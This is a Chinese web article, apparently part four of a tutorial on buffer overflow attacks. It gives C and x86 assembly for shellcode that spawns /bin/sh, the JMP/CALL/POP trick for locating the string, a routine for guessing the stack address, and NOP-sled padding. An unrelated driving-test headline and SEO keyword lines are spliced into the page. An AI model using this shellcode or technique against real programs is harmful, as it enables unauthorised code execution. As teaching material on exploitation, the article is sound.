b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

缓冲区溢出攻击的方法_一定程度上能防范缓冲区溢出攻击的措施有_vc缓冲区溢出攻击例子(4)

电脑杂谈  发布时间:2017-02-03 20:04:41  来源:网络整理

shellcode.c

#include<stdio.h>

void main()

{

char *name[2];

name[0]=”bin/sh”;

name[1]=NULL;

execve(name[0],name,NULL);

exit(0);

}

把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。

这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。

Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。

SCO Unix下的Shellcode的汇编代码如下:

Jmp 0x2a # 3 bytes # 跳到CALL指令处

vc缓冲区溢出攻击例子_一定程度上能防范缓冲区溢出攻击的措施有_缓冲区溢出攻击的方法

Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi

movl %esi, 0x8(%esi) # 3 bytes

movb $0x0, 0x7(%esi) # 4 bytes

movl $0x0, 0xc(%esi) # 7 bytes

movl $0xb, %eax # 5 bytes

movl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL);

leal 0x8(%esi) , %ecx # 3 bytes

leal 0xc(%esi) , %edx # 3 bytes

int $0x80 # 2 bytesmovl $0x1,%eax # 5 bytes #执行exit(0)

movl $0x0,%ebx # 5 bytes

int $0x80 # 2 bytes

call –0x2f # 5 bytes #跳到popl %esi指令处

.string ”/bin/sh” # 8 bytes

利用gdb的x命令可以得到上述汇编代码的二进制代码。

(2) 猜测被溢出的缓冲区的位置

有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。这就是由于返回地址不正确引起的。

为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。Unix环境下,每个进程启动时的初始堆栈的虚存位置时一样的。利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动):

unsigned long get_esp(void)

{

_asm_(“movl %esp,%eax”);

}

void main(void)

{

printf(“0x%x”,get_esp());

}

通常,进程运行时向堆栈中写入的数据不会超过数百个字节或数千个字节,有了这个起始地址,用简单的一个个尝试的方法也是可以攻击的。但显然这不是一种效率高的方法。解决的办法是在缓冲区前端填充几百字节NOP指令,只要猜测的地址落在NOP指令序列中,仍可以执行shellcode,从而成倍地增加猜中的机会。


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-30355-4.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 隔窗鬼
      隔窗鬼

      这是一个负责人的媒体该做的吗

    • 王旭增
      王旭增

      那年的几何爱情

    热点图片
    拼命载入中...